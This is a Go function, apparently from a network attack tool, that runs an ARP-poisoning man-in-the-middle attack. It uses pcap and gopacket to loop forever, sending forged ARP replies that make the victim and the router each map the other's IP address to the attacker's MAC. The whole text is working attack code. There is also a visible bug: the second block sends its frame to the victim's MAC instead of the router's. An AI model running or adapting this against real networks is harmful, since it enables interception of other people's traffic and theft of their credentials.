func arpPoison(device string, routerMac net.HardwareAddr, routerIP net.IP, localMac net.HardwareAddr, localIP net.IP, victimMac net.HardwareAddr, victimIP net.IP) {
// Open NIC at layer 2
handle, err := pcap.OpenLive(device, 1024, false, pcap.BlockForever)
if err != nil {
fmt.Println(err)
os.Exit(1)
}
defer handle.Close()
// create an empty ethernet packet
ethernetPacket := layers.Ethernet{}
// create an empty ARP packet
arpPacket := layers.ARP{}
// pre populate Arp Packet Info
arpPacket.AddrType = layers.LinkTypeEthernet
arpPacket.HwAddressSize = 6
arpPacket.ProtAddressSize = 4
arpPacket.Operation = 2
arpPacket.Protocol = 0x0800
// continiously put arp responses on the wire to ensure a good posion.
for {
/******** posion arp from victim to local ********/
//set the ethernet packets' source mac address
ethernetPacket.SrcMAC = localMac
//set the ethernet packets' destination mac address
ethernetPacket.DstMAC = victimMac
//set the ethernet packets' type as ARP
ethernetPacket.EthernetType = layers.EthernetTypeARP
// create a buffer
buf := gopacket.NewSerializeBuffer()
opts := gopacket.SerializeOptions{}
// customize ARP Packet info
arpPacket.SourceHwAddress = localMac
arpPacket.SourceProtAddress = routerIP
arpPacket.DstHwAddress = victimMac
arpPacket.DstProtAddress = victimIP
// set options for serializing (this probably isn't needed for an ARP packet)
// serialize the data (serialize PREPENDS the data)
err = arpPacket.SerializeTo(buf, opts)
if err != nil {
fmt.Println(err)
os.Exit(1)
}
err = ethernetPacket.SerializeTo(buf, opts)
if err != nil {
fmt.Println(err)
os.Exit(1)
}
// turn the packet into a byte array
packetData := buf.Bytes()
//remove padding and write to the wire
handle.WritePacketData(packetData[:42])
//Sleep so we don't flood with ARPS
time.Sleep(50 * time.Millisecond)
/******** end posion arp from victim to local ********/
/******** posion arp from router to local ********/
//set the ethernet packets' source mac address
ethernetPacket.SrcMAC = localMac
//set the ethernet packets' destination mac address
ethernetPacket.DstMAC = victimMac
//set the ethernet packets' type as ARP
ethernetPacket.EthernetType = layers.EthernetTypeARP
// customize ARP Packet info
arpPacket.SourceHwAddress = localMac
arpPacket.SourceProtAddress = victimIP
arpPacket.DstHwAddress = routerMac
arpPacket.DstProtAddress = routerIP
// set options for serializing (this probably isn't needed for an ARP packet)
// serialize the data (serialize PREPENDS the data)
err = arpPacket.SerializeTo(buf, opts)
if err != nil {
fmt.Println(err)
os.Exit(1)
}
err = ethernetPacket.SerializeTo(buf, opts)
if err != nil {
fmt.Println(err)
os.Exit(1)
}
// turn the packet into a byte array
packetData = buf.Bytes()
//remove padding and write to the wire
handle.WritePacketData(packetData[:42])
/******** end posion arp from router to local ********/
//Sleep so we don't flood with ARPS
time.Sleep(5 * time.Second)
}
}
